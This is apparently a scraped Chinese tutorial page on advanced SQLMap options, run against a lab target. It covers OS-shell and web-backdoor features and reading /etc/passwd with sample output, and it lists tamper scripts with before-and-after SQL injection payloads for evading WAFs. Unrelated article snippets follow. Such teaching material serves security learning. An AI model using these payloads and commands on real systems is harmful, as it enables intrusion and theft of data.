高密市住房和城乡建设局网站/广州网络推广
SQLMap进阶:参数讲解
(1)–level 5:探测等级。
参数“–level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看到SQLMap使用的Payload,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解Cookie、XFF等头部注入。当然,5级的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP Cookie在等级为2时会进行测试,HTTP User-Agent/Referer头在等级为3时会进行测试。总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的等级值。
(2)–is-dba:当前用户是否有管理权限。
该命令用于查看当前账户是否为数据库管理员账户,命令如下:
python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --is-dba
在本例中输入该命令,会返回True,如图3-15所示。
(3)–roles:查看数据库用户的角色。
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,则输入该命令会列举出每个用户的角色,也可以用参数“-U”指定查看某个用户的角色。该命令仅适用于当前数据库是Oracle时。在本例中输入该命令的结果如图3-16所示。
(4)–referer:HTTP Referer头。
SQLMap可以在请求中伪造HTTP中的Referer,当参数“–level”设定为3或3以上时,会尝试对Referer注入。可以使用参数“–referer”伪造一个HTTP Referer头,如–referer http://10.211.55.6。
(5)–sql-shell:运行自定义SQL语句。
该命令用于执行指定的SQL语句,命令如下:
python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --sql-shell
假设执行“select * from security.users limit 0,2”语句,结果如图3-17所示。
(6)–os-cmd或–os-shell:运行任意操作系统命令。
当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,可以使用参数“–os-cmd”执行系统命令。如果数据库为MySQL或PostgreSQL,则SQLMap会上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),通过创建的这两个函数就可以执行系统命令。如果数据库为Microsoft SQL Server,则SQLMap将使用xp_cmdshell存储过程执行系统命令。如果xp_cmdshell被禁用(在Microsoft SQL Server 2005及以上版本中默认被禁用),则SQLMap会重新启用它;如果xp_cmdshell不存在,则SQLMap将创建它。
使用参数“–os-shell”可以模拟一个真实的Shell,与服务器进行交互。当不能执行多语句时(如PHP或ASP的后端数据库为MySQL),SQLMap可以通过SELECT语句中的INTO OUTFILE在Web服务器的可写目录中创建Web后门,从而执行命令。参数“–os-shell”支持ASP、ASP.NET、JSP和PHP四种语言。
(7)–file-read:从数据库服务器中读取执行文件。
该命令用于从数据库服务器中读取执行文件。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。下面以Microsoft SQL Server 2005为例,说明参数“–file-read”的用法,命令如下:
$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-read "/etc/passwd" -v 1
[...]
[17:45:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[17:45:15] [INFO] fingerprinting the back-end DBMS operating system
[17:45:15] [INFO] the back-end DBMS operating system is Linux
[17:45:15] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n]
[17:45:19] [INFO] the local file '/root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1012 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd (same file)
(8)–file-write和–file-dest:将本地文件写入数据库服务器。
该命令用于将本地文件写入数据库服务器。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子说明参数“–file-write”和“–file-dest”的用法,命令如下:
$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-write "./1.txt" --file-dest "/tmp/1.txt" -v 1
SQLMap自带tamper绕过脚本的讲解
为了防止注入语句中出现单引号,SQLMap默认情况下会使用CHAR()函数。除此之外,没有对注入的数据进行其他修改。读者可以通过使用参数“–tamper”对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换Payload字符编码的方式尝试绕过WAF的检测规则,命令如下:
python sqlmap.py XXXXX --tamper “模块名”
目前,官方提供了多个绕过脚本,下面是一个tamper绕过脚本的格式。
# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):return payload.replace("'", "\\'").replace('"', '\\"')
不难看出,最简洁的tamper绕过脚本的结构包含priority变量、dependencies函数和tamper函数。
(1)priority变量定义脚本的优先级,用于有多个tamper绕过脚本的情况。
(2)dependencies函数声明该脚本适用/不适用的范围,可以为空。
下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload,kwargs)函数接收payload和kwargs并返回一个Payload。下面这段代码的意思是通过正则模块匹配所有字符,将所有Payload中的字符转换为大写字母。
def tamper(payload, **kwargs):retVal = payloadif payload:for match in re.finditer(r"[A-Za-z_]+", retVal):word = match.group()if word.upper() in kb.keywords:retVal = retVal.replace(word, word.upper())return retVal
在日常使用中,我们会对一些网站是否有安全防护进行试探,可以使用参数“–identify-waf”进行检测。
下面介绍一些常用的tamper绕过脚本。
(1)apostrophemask.py。
作用:将引号替换为UTF-8格式,用于过滤单引号。
使用脚本前的语句如下:
1 AND ‘1’='1
使用脚本后的语句如下:
AND %EF%BC%871%EF%BC%87=%EF%BC%871
(2)base64encode.py。
作用:将请求参数进行Base64编码。
使用脚本前的语句如下:
1’ AND SLEEP(5)#
使用脚本后的语句如下:
MScgQU5EIFNMRUVQKDUpIw==
(3)multiplespaces.py。
作用:在SQL语句的关键字中间添加多个空格。
使用脚本前的语句如下:
1 UNION SELECT foobar
使用脚本后的语句如下:
1 UNION SELECT foobar
(4)space2plus.py。
作用:用加号(+)替换空格。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT+id+FROM+users
(5)nonrecursivereplacement.py。
作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将“SELECT”替换为空)。
使用脚本前的语句如下:
1 UNION SELECT 2–
使用脚本后的语句如下:
1 UNIOUNIONN SELESELECTCT 2–
(6)space2randomblank.py。
作用:将空格替换为其他有效字符,例如%09,%0A,%0C,%0D。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT%0Did%0DFROM%0Ausers
(7)unionalltounion.py。
作用:将“UNION ALL SELECT”替换为“UNION SELECT”。
使用脚本前的语句如下:
-1 UNION ALL SELECT
使用脚本后的语句如下:
-1 UNION SELECT
(8)securesphere.py。
作用:追加特制的字符串。
使用脚本前的语句如下:
1 AND 1=1
使用脚本后的语句如下:
1 AND 1=1 and ‘0having’=‘0having’
(9)space2hash.py。
作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。
使用脚本前的语句如下:
1 AND 9227=9227
使用脚本后的语句如下:
1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
(10)space2mssqlblank.py。
作用:将空格替换为其他空符号。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下。
SELECT%0Eid%0DFROM%07users
(11)space2mssqlhash.py。
作用:将空格替换为井字号(#),并添加一个换行符。
使用脚本前的语句如下:
1 AND 9227=9227
使用脚本后的语句如下:
1%23%0AAND%23%0A9227=9227
(12)between.py。
作用:用“NOT BETWEEN 0 AND”替换大于号(>),用“BETWEEN AND”替换等号(=)。
使用脚本前的语句如下:
1 AND A > B–
使用脚本后的语句如下:
1 AND A NOT BETWEEN 0 AND B–
使用脚本前的语句如下:
1 AND A = B–
使用脚本后的语句如下:
1 AND A BETWEEN B AND B–
(13)percentage.py。
作用:ASP语言允许在每个字符前面添加一个百分号(%)。
使用脚本前的语句如下:
SELECT FIELD FROM TABLE
使用脚本后的语句如下:
%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E
(14)sp_password.py。
作用:将“sp_password”追加到Payload的未尾。
使用脚本前的语句如下:
1 AND 9227=9227–
使用脚本后的语句如下:
1 AND 9227=9227-- sp_password
(15)charencode.py。
作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。
使用脚本前的语句如下:
SELECT FIELD FROM%20TABLE
使用脚本后的语句如下:
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
(16)randomcase.py。
作用:在SQL语句中,对关键字进行随机大小写转换。
使用脚本前的语句如下:
INSERT
使用脚本后的语句如下:
InsERt
(17)charunicodeencode.py。
作用:对SQL语句进行字符串unicode编码。
使用脚本前的语句如下:
SELECT FIELD%20FROM TABLE
使用脚本后的语句如下:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045
(18)space2comment.py。
作用:将空格替换为“/**/”。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT//id//FROM/**/users
(19)equaltolike.py。
作用:将等号(=)替换为“like”。
使用脚本前的语句如下:
SELECT * FROM users WHERE id=1
使用脚本后的语句如下:
SELECT * FROM users WHERE id LIKE 1
(20)greatest.py。
作用:绕过对“大于号(>)”的过滤,用“GREATEST”替换大于号。
使用脚本前的语句如下:
1 AND A > B
使用脚本后的语句如下:
1 AND GREATEST(A,B+1)=A
测试通过的数据库类型和版本如下。
— MySQL 4、MySQL 5.0和MySQL 5.5。
— Oracle 10g。
— PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0。
(21)ifnull2ifisnull.py。
作用:绕过对“IFNULL”的过滤,将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A), B, A)”。
使用脚本前的语句如下:
IFNULL(1, 2)
使用脚本后的语句如下:
IF(ISNULL(1),2,1)
该tamper脚本可在MySQL 5.0和MySQL 5.5数据库中使用。
(22)modsecurityversioned.py。
作用:过滤空格,通过MySQL内联注释的方式进行注入。
使用脚本前的语句如下:
1 AND 2>1–
使用脚本后的语句如下:
1 /!30874AND 2>1/–
该tamper脚本可在MySQL 5.0数据库中使用。
(23)space2mysqlblank.py。
作用:将空格替换为其他空白符号。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT%A0id%0BFROM%0Cusers
该tamper脚本可在MySQL 5.1数据库中使用。
(24)modsecurityzeroversioned.py。
作用:通过MySQL内联注释的方式(/!00000/)进行注入。
使用脚本前的语句如下:
1 AND 2>1–
使用脚本后的语句如下:
1 /!00000AND 2>1/–
该tamper脚本可在MySQL 5.0数据库中使用。
(25)space2mysqldash.py。
作用:将空格替换为“–”,并添加一个换行符。
使用脚本前的语句如下。
1 AND 9227=9227
使用脚本后的语句如下。
1–%0AAND–%0A9227=9227
(26)bluecoat.py。
作用:在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等号。
使用脚本前的语句如下:
SELECT id FROM users where id = 1
使用脚本后的语句如下:
SELECT%09id FROM%09users WHERE%09id LIKE 1
该tamper脚本可在MySQL 5.1和SGOS数据库中使用。
(27)versionedkeywords.py。
作用:绕过注释。
使用脚本前的语句如下:
UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_ USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114, 117,58))#
使用脚本后的语句如下:
/!UNION**!ALL**!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58), IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
(28)halfversionedmorekeywords.py。
作用:当数据库为MySQL时,绕过防火墙,在每个关键字之前添加MySQL版本的注释。
使用脚本前的语句如下:
value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST (CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
使用脚本后的语句如下:
value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa
该tamper脚本可在MySQL 4.0.18和MySQL 5.0.22数据库中使用。
(29)space2morehash.py。
作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。
使用脚本前的语句如下:
1 AND 9227=9227
使用脚本后的语句如下:
1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227
该tamper脚本可在MySQL 5.1.41数据库中使用。
(30)apostrophenullencode.py。
作用:用非法双字节unicode字符替换单引号。
使用脚本前的语句如下:
1 AND ‘1’='1
使用脚本后的语句如下:
1 AND %00%271%00%27=%00%271
(31)appendnullbyte.py。
作用:在有效负荷的结束位置加载零字节字符编码。
使用脚本前的语句如下:
1 AND 1=1
使用脚本后的语句如下:
1 AND 1=1%00
(32)chardoubleencode.py。
作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。
使用脚本前的语句如下:
SELECT FIELD FROM%20TABLE
使用脚本后的语句如下:
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
(33)unmagicquotes.py。
作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
使用脚本前的语句如下:
1’ AND 1=1
使用脚本后的语句如下:
1%bf%27–
(34)randomcomments.py。
作用:用“/**/”分割SQL关键字。
使用脚本前的语句如下:
INSERT
使用脚本后的语句如下:
IN//S//ERT
虽然SQLMap自带的tamper绕过脚本可以做很多事情,但实际环境往往比较复杂,tamper绕过脚本无法应对所有情况,因此建议读者在学习如何使用自带的tamper绕过脚本的同时,掌握tamper绕过脚本的编写规则,这样在应对各种实战环境时能更自如。
相关文章:

最新SQLMap进阶技术
SQLMap进阶:参数讲解 (1)–level 5:探测等级。 参数“–level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看…...

【BurpSuite常用功能介绍】
BurpSuite的使用 1.运行BurpSuite 2.代理设置 打开软件后,我们第一件事就应该去调试软件和浏览器的代理,让BURP能够正常工作抓包 proxy--options,我端口默认使用8080 然后我们打开一个浏览器,进入代理设置 (注意一点࿰…...

Leetcode 108. 将有序数组转换为二叉搜索树
108. 将有序数组转换为二叉搜索树 分析 给定一个有序数组,要求转换为二叉搜索树。 数组是有序的,并且要求二叉树。 这里看到数组是有序的,马上想到二分,但是又不需要完全二分 实现。 再复习二叉搜索树的结构特点: 左…...

小匠物联联合亚马逊云助力企业数智化出海
如何让家电企业出海产品数智化之路走上康庄大道?8月25日,亚马逊云科技[创新成长企业专列]这趟上云快车将开往宁波站,助力宁波的制造、软件等企业扬帆起航!现场举办“亚马逊云科技助力企业出海数智沙龙”,小匠物联受邀出席。 会议现…...

(五)k8s实战-配置管理
一、ConfigMap 使用 kubectl create configmap -h 查看示例,构建 configmap 对象 1) 基于文件夹,加载文件夹下所有配置文件,创建 kubectl create configmap <configmapName> --from-file<dirPath>2) 指定配置文件,创…...

GPT---1234
GPT:《Improving Language Understanding by Generative Pre-Training》 下载地址:https://cdn.openai.com/research-covers/language-unsupervised/language_understanding_paper.pdfhttps://cdn.openai.com/research-covers/language-unsupervised/language_understa…...

计算机竞赛 基于大数据的时间序列股价预测分析与可视化 - lstm
文章目录 1 前言2 时间序列的由来2.1 四种模型的名称: 3 数据预览4 理论公式4.1 协方差4.2 相关系数4.3 scikit-learn计算相关性 5 金融数据的时序分析5.1 数据概况5.2 序列变化情况计算 最后 1 前言 🔥 优质竞赛项目系列,今天要分享的是 &…...

python进行数据分析:数据预处理
六大数据类型 见python基本功 import numpy as np import pandas as pd数据预处理 缺失值处理 float_data pd.Series([1.2, -3.5, np.nan, 0]) float_data0 1.2 1 -3.5 2 NaN 3 0.0 dtype: float64查看缺失值 float_data.isna()0 False 1 …...

百度Apollo:引领自动驾驶技术的创新与突破
文章目录 前言一、技术创新二、开放合作三、生态建设四、安全可靠性总结 前言 随着科技的迅猛发展,自动驾驶技术正成为未来交通领域的重要发展方向。在这个领域中,百度Apollo作为中国领先的自动驾驶平台,以其卓越的创新能力和开放合作精神&a…...

Python爬虫 异步、缓存技巧
在进行大规模数据抓取时,Python爬虫的速度和效率是至关重要的。本文将介绍如何通过异步请求、缓存和代理池等技巧来优化Python爬虫的速度和性能。我们提供了实用的方案和代码示例,帮助你加速数据抓取过程,提高爬虫的效率。 使用异步请求、缓…...

YOLOv5屏蔽区域检测(选择区域检测)
YOLOv5屏蔽区域检测以及选择区域检测 前期准备labelme选择mask区域 代码改动 前期准备 思路就是通过一个mask掩膜,对我们想要屏蔽或者选择的区域进行遮挡处理,在推理的时候,将有mask掩膜的图像输入,将最后的结果显示在原始图像上…...

记录一次presto sql执行报错 Error executing query的解决办法
在执行presto sql 时报错截图如下: 查看后台执行报错日志: java.sql.SQLException: Error executing query at com.facebook.presto.jdbc.PrestoStatement.internalExecute(PrestoStatement.java:307) at com.facebook.presto.jdbc.PrestoStatement.exe…...

Android Studio开发之路 (五)导入OpenCV以及报错解决
一、步骤 官网下载opencv包(我下的是4.7.0)并解压,openvc官网 先创建一个空项目,简单跑一下能正常输出helloworld 点击file->new->Import Module选择解压之后的opencv-android-sdk文件夹中的SDk文件夹, modu…...

vue3.3中ref和reactive原理源代码分析
源码是ts编写的,这里部分简化成js便于阅读 function ref(value) {return createRef(value, false) }function createRef(rawValue, shallow) { //shallow是否是浅层定义数据,用于区别ref和shallowRefif (isRef(rawValue)) {//如果已经是ref直接返回源数据return rawValue}retu…...

10.Oracle中decode函数
【函数格式】: decode ( expression, condition_01, result_01, condition_02, result_02, ......, condition_n, result_n, result_default) 【函数说明】: 若表达式expression值与condition_01值匹配,则返回result_01,…...

Podman安装部署kafka和管理界面(快速跑起来)
#1.拉取镜像 podman pull bitnami/zookeeper podman pull bitnami/kafka#2.创建子网 podman network create knet#3.创建zookeeper podman run -itd --name zookeeper-server -p 2181:2181 \ --net knet \ -e ALLOW_ANONYMOUS_LOGINyes \ bitnami/zookeeper:latest#3.1查看z…...

Hbase文档--架构体系
阿丹: 基础概念了解之后了解目标知识的架构体系,就能事半功倍。 架构体系 关键组件介绍: HBase – Hadoop Database,是一个高可靠性、高性能、面向列、可伸缩的分布式存储系统,利用HBase技术可在廉价PC Server上搭建起…...

stm32基于HAL库驱动外部SPI flash制作虚拟U盘
stm32基于HAL库驱动外部SPI flash制作虚拟U盘 📌参考文章:https://xiaozhuanlan.com/topic/6058234791🎞实现效果演示: 🔖上图中的读到的FLASH_ID所指的是针对不同容量,所对应的ID。 //W25X/Q不同容量对应…...

vue3-ts- element-plus新增组件-过滤
新增组件-所有值为空时过滤 <el-form-item label"家庭成员"><divclass"username-box"v-for"(item, index) in form.namelist":key"index"><div>姓名:<el-input v-model"item.name" placeho…...

PostgreSQL SQL优化
Oracle SQL优化 一、在字段里面写的子查询放到from后面,用left join,会大幅提高SQL查询速度。 一、在字段里面写的子查询放到from后面,用left join,会大幅提高SQL查询速度。...

debian12网络静态ip配置-OSSIM 安全漏洞扫描系统平台
本配置适合于服务器上的静态ip配置,该方法简单可靠。 1 临时配置 ifconfig eth0 192.168.1.97 netmask 255.255.255.0 broadcast 192.168.1.255 ip route add default via 192.168.1.1 2 主要的网络配置文件 /etc/network/interfaces /etc/resolv.conf 3 配置…...

微软 Visual Studio 现已内置 Markdown 编辑器,可直接修改预览 .md 文件
Visual Studio Code V1.66.0 中文版 大小:75.30 MB类别:文字处理 本地下载 Markdown 是一种轻量级标记语言,当开发者想要格式化代码但又不想牺牲易读性时,Markdown 是一个很好的解决方案,比如 GitHub 就使用 Markdo…...

阿里云通义千问开源第二波!大规模视觉语言模型Qwen-VL上线魔搭社区
通义千问开源第二波!8月25日消息,阿里云推出大规模视觉语言模型Qwen-VL,一步到位、直接开源。Qwen-VL以通义千问70亿参数模型Qwen-7B为基座语言模型研发,支持图文输入,具备多模态信息理解能力。在主流的多模态任务评测…...

在腾讯云服务器OpenCLoudOS系统中安装Jenkins(有图详解)
Jenkins介绍 Jenkins是一个开源软件项目,是基于java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。 将项目代码的svn地址配置在Jenkins,就可以直接在Je…...

《vue3实战》在created生命周期中运用slice()方法结合element plus组件实现电影评价系统的分页
目录 前言 电影评价系统的分页是什么?它具体的作用体现在哪些方面? 一、slice的含义、语法和作用以及created的作用 slice是什么?slice有什么语法?slice的作用体现在哪些方面? created生命周期的作用:…...

NO.04 MyBatis的各种查询功能
目录 1、查询一个实体类对象 2、查询一个List集合 3、查询单个数据 5、查询多条数据并存储在Map集合中 5.1 方法一:将数据存储在map集合中,再将map集合存储在List集合中 5.2 方法二:将数据存储在map集合中 6、MyBatis中为Java中常用的…...

Spring循环依赖
一、Autowired依赖注入的缓存 二、Resource依赖注入过程 三、循环依赖 singletonObjects:缓存经过了完整生命周期的beanearlySingletonObjects:缓存未经过完整生命周期的bean,如果某个bean出现了循环依赖,就会提前把这个暂时未经过…...

docker以distribution和registry管理个人镜像仓库
目录 一.distribution 1.扩展源下载docker-distribution并启动 2.打标签并认证安全仓库 3.推送到私人仓库 4.拉取镜像 二.registry 1.拉取registry的镜像 2.运行容器并打标签 3.认证安全仓库 4.推送到私人仓库 5.拉取镜像 一.distribution 1.扩展源下载docker-dist…...

2023京东酒类市场数据分析(京东数据开放平台)
根据鲸参谋平台的数据统计,今年7月份京东平台酒类环比集体下滑,接下来我们一起来看白酒、啤酒、葡萄酒的详情数据。 首先来看白酒市场。 鲸参谋数据显示,7月份京东平台白酒的销量为210万,环比下滑约49%;销售额将近19…...

Android中的APK打包与安全
aapt2命令行实现apk打包 apk文件结构 classes.dex:Dex,即Android Dalvik执行文件 AndroidManifest.xml:工程中AndroidManifest.xml编译后得到的二进制xml文件 META-INF:主要保存各个资源文件的SHA1 hash值,用于校验…...